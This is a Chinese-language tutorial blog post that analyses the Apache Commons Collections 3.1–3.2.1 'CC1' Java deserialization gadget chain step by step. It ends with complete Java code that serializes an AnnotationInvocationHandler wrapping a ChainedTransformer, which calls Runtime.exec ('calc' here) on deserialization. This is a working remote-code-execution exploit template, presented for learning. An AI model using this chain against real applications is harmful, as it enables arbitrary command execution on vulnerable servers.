首页 > 其他分享 >ApacheCC1反序列化分析

ApacheCC1反序列化分析

时间:2023-12-09 17:33:49浏览次数:31  
标签:ApacheCC1 分析 Runtime InvokerTransformer class map new 序列化 Class

ApacheCC1反序列化分析

写在前面:

这条链路对初学者来说并不是那么简单的,大家在学习时一定要多动手调试代码,有的时候光看代码看得头大,一调试就都明白了。

一、背景介绍

首先,什么是cc1

cc全称Common-Collections,是apache基金会的一个项目,它提供了比原生的java更多的接口和方法,比如说我们平常使用HashMap时都是无序的,而Common-Collections中为我们提供了OrderedMap,我们可以调用OrderedMap来构造有序的map。

二、环境搭建

在学习之前首先把环境搭建好。

由于存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可用,我这里用的是jdk8u65 。下载链接在Java 存档下载 — Java SE 8 | Oracle 中国

然后在idea 安装好maven,⾸先设置在pom.xml。

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
 </dependencies>

不报错即可。

由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。去这个链接http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4,点击左侧zip即可。

image-20231209165252735

将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了。

然后在idea⾥添加sdk版本把sun⽬录加⼊即可。

image-20231209165628179

然后我们去sun包里面看一下代码,不再显示.class就可以了。

image-20231209165829753

三、反序列化分析

首先,我们需要一点反射的前置知识,比如下面这段代码能看懂即可。

public void test1() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        //        直接调用calc
//        Runtime.getRuntime().exec("calc");
//        反射调用calc
        Class c = Runtime.class;
        Method getRuntimemethod = c.getMethod("getRuntime",null);//拿到方法
        Runtime r=(Runtime)getRuntimemethod.invoke(null,null);//拿到对象
        Method execmethod = r.getClass().getMethod("exec", String.class);
        Object obj = execmethod.invoke(r,"calc");
    }

0x01 InvokerTransformer.transform()

我们首先进入InvokerTransformer,看一下transform方法。

image-20231208112156920

可以看到,当输入的input不为空时,会进行通过反射机制动态地调用对象的特定方法,而getMethod和invoke方法的参数从哪里来呢,定位他的构造函数。

image-20231208110200292

可以看到通过构造函数可以控制我们的参数,并且该构造方法是public的,我们可以直接访问。由此,我们得出下面的一个弹出计算器的方法。

    public void test2(){
        // transform
        Runtime r = Runtime.getRuntime();
        String methodName="exec";
        Class[] paramTypes = new Class[]{String.class};
        Object[] args = new Object[] {"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
        invokerTransformer.transform(r);
/*        new InvokerTransformer("exec",new Class[]{String.class},new
                Object[]{"calc"}).transform(r);*/
    }

image-20231208111129931

可以看到成功弹出计算器。注释的内容大家也可以看一下,这种方法也是可以直接弹出计算器的。

由此,我们找到了transform方法,接下来我们要做的事情就是找哪里调用了该方法。

0x02 TransformedMap.checkSetValue()

经过查找,我们找到了TransformedMap中的checkSetValue方法。需要注意一下,这里的checkSetValue是peotected,所以要用反射的方法来调用。

image-20231208112049525

接下来看看valueTransformer这个东西是从哪来的,看一下构造方法。

image-20231208112300592

很好,也是可以通过构造方法传进来的,所以我们也可以控制变量,但是这里有一点,方法是protected的,只有在同一个包中才可以调用,所以我们要继续找下去,看看谁调用了TransformedMap的构造方法。

0x03 TransformedMap.decorate()

我们在当前类中找到了decorate方法,该静态方法创建了TransformedMap对象,并且该方法还是公开的,所以可以直接调用。

image-20231208113006183

我们接下来写个payload试一下:

public void test3() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
    Runtime runtime = Runtime.getRuntime();
    String methodName="exec";
    Class[] paramTypes = new Class[]{String.class};
    Object[] args = new Object[] {"calc"};
    InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,args);
    HashMap<String, Integer> map = new HashMap<>();
    Transformer keyTransformer = null;
    Transformer valueTransformer = invokerTransformer;
    Map decorateMap= TransformedMap.decorate(map,keyTransformer,invokerTransformer);//拿到TransformedMap对象
    Class transformedMapClass = TransformedMap.class;
    Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
    checkSetValueMethod.setAccessible(true);  //因为checkSetValue是peotected
    checkSetValueMethod.invoke(decorateMap,runtime);

}

我们先看代码,invokerTransformer就是上个payload的invokerTransformer,没有变。

我们接下来构造TransformedMap的三个参数,处理valueTransformer随便写就行,然后我们就拿到了TransformedMap的对象decorateMap,接下来就是通过反射来调用checkSetValue方法。

接下来我们就是要找哪里调用了decorate方法,但是很遗憾并没有突破,所以我们把目光再放回之前的checkSetValue方法,去找哪里调用了该方法。

0x04 AbstractInputCheckedMapDecorator->MapEntry.setValue()

TransformedMap的父类AbstractInputCheckedMapDecorator内部的子类MapEntry中,我们找到了setValue方法。

image-20231208152037643

这里的parent是什么呢,我们看一下该函数所在类的构造方法:

image-20231208152303073

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

我们先上payload:

public void test4(){
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("key","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer = invokerTransformer;
    Map<String ,String> decorateMap = TransformedMap.decorate(map,keyTransformer,invokerTransformer);
    for(Map.Entry entry:decorateMap.entrySet()){
        entry.setValue(runtime);
    }
}

decorateMap之前的东西和test3的都一样,不再讲述,区别是我们这里遍历了decorateMap来触发setValue。(注意map.put("key","value"),要不然map里面没东西,后面进不去for循环)

decorateMapTransformedMap类的,该类的entrySet方法会调用父类的entrySet方法。故在for循环时会进入如下方法:

image-20231208161031695

image-20231208161142451

首先进行判断,如果判断通过的话,就会返回一个EntrySet的实例,而我们的isSetValueChecking()是恒返回true的,所以也就无所谓,直接返回实例。

所以我们的entry在这里也是来自AbstractSetDecorator类的,所以后面才可以调到setValue方法。效果如下:

image-20231208162610520

ok,这里我们又找到了一个setValue方法,我们可以继续向上查找,看看哪里调用了我们的setValue,继续构造我们的链条。

0x05 AnnotationInvocationHandler.readObject()

这里我们找到了AnnotationInvocationHandler中的readObject方法。注意:这里的AnnotationInvocationHandler是在sun.reflect.annotation.AnnotationInvocationHandler中的。

由于readObject方法太长了,我们先复制过来大体看一眼。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

接下来我们看重点:

image-20231208164400470

可以看到,这里再调用setValue前面还要经过两个判断,这两个判断判断了什么呢,我们先不管,先正常随便给值看看能不能过,过了最好,过不了我们再慢慢调试。

我们看一下memberValue从哪里来,果不其然,又是构造方法:

image-20231208165114016

于是乎,我们只需要在构造时把memberValue传给他就行了,但是这个构造函数的修饰符是默认的,我们没用办法直接访问怎么办,很简单,反射。

还有一点,我们这里的构造方法的第一个参数类型是Class<? extends Annotation>,什么是Annotation呢,其实就是我们的注解类,先随便给一个Override看看。

于是我们的test5如下:

public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("key","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=invokerTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);	//构造函数不是public的
    Object obj = constructor.newInstance(Override.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

构造反序列化方法如下:

public void unseialize() throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream("./data/apachecc1.ser");
    ObjectInputStream ois = new ObjectInputStream((fis));
    ois.readObject();
}

运行之后,无事发生,既没有报错也没有弹出计算器,我们此时调试看看,断点设在上面的if循环处。

image-20231208170152762

这里我们直接就跳到了最下面,很显然,if循环没有进去,这里判断memberType,但是我们的memberType正好为空。

image-20231208170422771

memberType来自memberTypes,memberTypes来自annotationTypeannotationType来自typeannotationType = AnnotationType.getInstance(type);),而type来自我们传入构造方法的参数。大家一定要自己跟一下,否则可能比较难理解

我们这里的要求传入的注解参数,是有成员变量的,并且成员变量要和map里面的key对的上。(!(memberType.isInstance(value)

于是我们找到了SuppressWarnings注解,该注解有一个成员变量。

image-20231208172005638

于是乎,我们修改我们的代码如下:

public void test5() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer=(InvokerTransformer)new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=invokerTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

再次运行,得到结果如下:

image-20231208172402877

报错,Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'exec' on 'class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy' does not exist告诉我们找不到名为 exec 的方法。

对呀,我们看一眼我们的runtime,都是暗的,没用用上,我们再看一下readObject方法,里面setValue的参数的实例居然是写死的,根本没用办法利用,什么鬼,看到这里是不是感到有点绝望,给我一个写死的我还玩什么,不得不说要佩服cc1链的作者,这种情况下都能找到利用的方法。

0x06 解决无法传入runtime的问题

ConstantTransformer类

首先,我们找到了ConstantTransformer

image-20231208174625176

该方法的构造函数会将传入的对象给到iConstant,该类的transform方法无论传入的什么对象都会返回iConstant

但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap,或者说没有 办法建立ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了ChainedTransformer类。

ChainedTransformer类

ChainedTransformer类的transform方法如下:

image-20231208175800418

上述代码的意思是,如果给ChainedTransformer的属性iTransformers赋值为 ConstantTransformer对象的话,则可以直接调用到ConstantTransformer的transform方 法,如果赋值为InvokerTransformer对象的话,则可以直接调用到InvokerTransformertransform方法,则此时便有了一个关联关系,将Runtime对象通过ConstantTransformer 进行赋值,然后就可以在构造链中得到Runtime对象了。

public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=chainedTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

此时打断点逐步调试,可以看到经过transform方法后,已经可以得到Runtime对象。

image-20231208215404832

但是此时我们只穿入了Runtime对象,但是之前的InvokerTransformer没有传进来,但是这个事情也是简单的,因为我们InvokerTransformer我们需要的方法也是transform,都是一个名字,所以他们是兼容的,再结合ChainedTransformertransform的特点,上一次调用的对象是下次参数,因此我们得到如下payload:

public void test6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map map=new HashMap();
    map.put("value","value");
    Transformer keyTransformer = null;
    Transformer valueTransformer=chainedTransformer;
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,keyTransformer, valueTransformer);

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);//构造函数不是public的
    Object obj = constructor.newInstance(SuppressWarnings.class,transformedmap);

    FileOutputStream fos = new FileOutputStream("./data/apachecc1.ser");
    ObjectOutputStream oos = new ObjectOutputStream((fos));
    oos.writeObject(obj);
}

最后也是成功的弹出来计算器。

image-20231208222639289

四、总结

经过上面的步骤,我们可以得到如下的调用链:

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map().setValue() 
			TransformedMap.decorate() 
			ChainedTransformer.transform() 
				ConstantTransformer.transform() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Class.getMethod() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Runtime.getRuntime() 
					InvokerTransformer.transform() 
						Method.invoke() 
						Runtime.exec()

我自己在学习这条链路中也遇到了很多的困难,甚至有过几次半途而废的经历。然而,最终我下定决心要搞定这条链路。最后希望大家也都能动起手来写代码,调试起来,这条链路也许就变得简单起来了呢。

标签:ApacheCC1,分析,Runtime,InvokerTransformer,class,map,new,序列化,Class
From: https://www.cnblogs.com/fdxsec/p/17891219.html

相关文章

  • 【Python爬虫案例】抖音下载视频+X-Bogus参数JS逆向分析
    接口分析获取接口地址选择自己感兴趣的抖音博主,本次以“经典老歌【车载U盘】”为例每次请求的页面会有很多接口,需要对接口进行筛选:第一步筛选XHR筛选第二步筛选URL中带有post通过筛选play_add值找到视频的地址分析请求头通过对比两次请求发现只有X-Bogus数值会有变化,m......
  • 【JavaSE】数据结构-哈希表(HashSet/HashMap底层哈希表详解,源码分析)
    哈希表结构JDK8版本之前:数组+链表JDK8版本及之后:数组+链表+红黑树哈希表HashMapput()方法的添加流程创建HashSet集合时,构造方法中自动创建HashMap集合;HashMap空参构造方法会创建一个默认长度为16,默认加载因子为0.75的数组,数组名为table(tips:实际上,HashSet对象创建后,第......
  • Spring Security 6.x 系列(10)—— SecurityConfigurer 配置器及其分支实现源码分析(二)
    一、前言在本系列文章:SpringSecurity6.x系列(4)——基于过滤器链的源码分析(一)中着重分析了SpringSecurity在SpringBoot自动配置、 DefaultSecurityFilterChain和FilterChainProxy 的构造过程。SpringSecurity6.x系列(7)——SecurityBuilder继承链源码分析中详细分析了......
  • 用 C/C++ 编写一个 C 语言的语法分析器程序
    任务描述本关任务:用C/C++编写一个C语言的语法分析器程序。相关知识为了完成本关任务,你需要掌握:1.DFANFA,2.C/C++编程语言基础。3.C语言的基本结构知识自动机在编译原理课堂上已经教授了大家相关知识。在完成本实训前,一定要先设计相关自动机,再开始相关功能的实现。切勿......
  • 使用 Chrome 开发者工具分析 UI5 Web 应用的性能
    UI5是一款企业级Web前端应用的开发框架。笔者不时会收到社区朋友发起的咨询,问我如果UI5应用开发好之后,运行时出现性能问题,应该怎么办。在我们的生活中,病人向医生求助,医生会开具各种检查和化验单,病人检查完后,医生根据报告上的各种参数,进行病情诊断和开药。刑警在案发现场,通过......
  • Django 含有外键模型新增数据以及序列化
    Django含有外键模型新增数据以及序列化Django原生实现外键classAppleModel(models.Model):id=models.AutoField(primary_key=True)app_name=models.CharField(max_length=50)classPickleModel(models.Model):pid=models.AutoField(primary_key=True)......
  • 《安富莱嵌入式周报》第328期:自主微型机器人,火星探测器发射前失误故障分析,微软推出12
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 更新一期视频教程:【实战技能】单步运行源码分析,一期视频整明白FreeRTOS内核源码框架和运行机制,RTOSTrace链表功能展示https://www.armbbs.cn/forum.php?mod=viewthread&tid......
  • JAVA自定义对象序列化,自定义的控制每个字节的序列化情况
    在java中,正常来说序列化是可以直接继承Serializable,或使用类似于fastjson,protobuf等框架。但是这些框架对于二进制协议,自定义协议,私有协议方面却不太好使,私有协议大多还是按照字节的方式组织数据,对于java来说需要控制每个属性的序列化方式,所以这块主要还是以传统的方式,读字节......
  • vscode-go语言插件,分析(三)
    goDebugConfiguration.ts配置GoDebugConfigurationProvider实现vscode.DebugConfigurationProvider接口goDebugFactory.ts调试工厂GoDebugAdapterDescriptorFactory描述工厂,实现vscode.DebugAdapterDescriptorFactory接口GoDebugAdapterTrackerFactory跟踪器,能够读取记录......
  • R语言逻辑回归logistic对ST股票风险建模分类分析混淆矩阵、ROC曲线可视化
    全文链接:https://tecdat.cn/?p=34506原文出处:拓端数据部落公众号信用风险建模是金融领域的重要课题,通过建立合理的信用风险模型,可以帮助金融机构更好地评估借款人的信用状况,从而有效降低信贷风险。本文使用了R语言中的逻辑回归(logistic)模型,利用国泰安数据库中的103个上市公司......